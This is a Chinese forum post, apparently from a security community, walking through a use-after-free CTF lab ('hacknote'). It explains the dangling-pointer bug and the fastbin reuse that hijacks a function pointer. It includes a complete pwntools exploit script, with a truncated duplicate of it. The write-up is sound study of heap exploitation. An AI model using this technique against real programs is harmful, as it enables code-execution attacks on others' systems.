-
-
[原创]Use-after-free之lab 10 hacknote
-
发表于: 2021-6-12 11:10 14441
-
整明白之后才能明白这道题有多简单,花了我两天时间啊!!!
自己的基础知识积累真的不够
看看主函数啊
输入 1 进入 add_note()
输入 2 进入del_note()
输入 3 进入print_note()
简单分析一下
add_note()
首先看看这个notelist[]
我当时也是懵了好久不知道是这是个啥
为啥里面还有put,content
这其实是个结构体指针数组,也就是说这个数组里面放的是结构体的指针,双击一下put或者content就知道了
这个函数的大致意思就是先申请一个大小为8byte的chunk0,将其地址放入notelist[i]中
再申请自己规定字节大小的chunk1,将其地址放入第一次申请的chunk0的content中
第一次申请的8byte的chunk0的put处存放print_note_content函数地址
content处存放第二次申请的chunk1的地址
我们后面写内容是往第二次申请的chunk1中填写的
假设我们申请了一个32byte的chunk1,往里面填写'aaaa',最终会达到这样一个效果
接下来我们看del_note()
free掉了chunk0和chunk1
但是我们注意这里没有将notelist[i]里面的存放的指针设置为NULL
这也就导致虽然我们free掉了这两块chunk,但我们仍然可以对其原来所在的地址空间进行操作。
因此就会造成use_after_free
究竟怎样利用,我们先往后看
print_note()
打印函数,通过chunk0处存放的函数指针(print_note_content)打印content
其次,这里面还有一个函数值得关注magic()
话不多说,我们开始写jio本
我们先申请两个相同字节的chunk
note0和note1
然后全都free掉
chunk,注意不能是8byte,原因后面会说
例如我们申请32byte的
free掉之后我们看看fastbin
因为我的pwndbg出现了一点问题(fastbin查不到),所以我在这给大家手画一个
大概是这个样子
如果这个时候我们再申请一个8字节大小的chunk会怎么样呢
答案是首先原本的note1的chunk0会被当成新的chunk0,而原本的note0的chunk0会被当成新的chunk1
这时如果我们向新的chunk1中填写数据,则相当于将note0的chunk0更改了
例如我们这样
则note0的chunk0会变成这样
此时我们再执行print_note()就会执行magic函数
如果我们之前申请的note0和note1的chunk1大小是8byte那么fastbin就不会像上面那样排列了,所以不能是8byte
完整的exp:
如有不正确的地方,还请师傅们提出来
大家有什么问题也可以问我呀
懂我意思嘛,我向你敬礼啊!~
from
pwn
import
*
sh
=
process(
'./hacknote'
)
elf
=
ELF(
'./hacknote'
)
def
malloc(size,content):
sh.recvuntil(
'choice :'
)
sh.sendline(
'1'
)
sh.recvuntil(
'size :'
)
sh.sendline(
str
(size))
sh.recvuntil(
'Content :'
)
sh.sendline(content)
def
free(idx):
sh.recvuntil(
'choice :'
)
sh.sendline(
'2'
)
sh.recvuntil(
'Index :'
)
sh.sendline(
str
(idx))
def
printf(idx):
sh.recvuntil(
'choice :'
)
sh.sendline(
'3'
)
sh.recvuntil(
"Index :"
)
sh.sendline(
str
(idx))
malloc(
32
,
'aaaa'
)
#note0
malloc(
32
,
'aaaa'
)
#note1
free(
0
)
free(
1
)
magic_addr
=
0x08048986
malloc(
0x8
,p32(magic_addr))
printf(
0
)
sh.interactive()
from
pwn
import
*
sh
=
process(
'./hacknote'
)
elf
=
ELF(
'./hacknote'
)
def
malloc(size,content):
sh.recvuntil(
'choice :'
)
sh.sendline(
'1'
)
sh.recvuntil(
'size :'
)
sh.sendline(
str
(size))
sh.recvuntil(
'Content :'
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [求助]新手学Windows求助 7341
- [原创]ciscn_2019_es_2栈转移 26611
- [原创]关于payload中为什么有虚假地址 8428
- [原创]Use-after-free之lab 10 hacknote 14442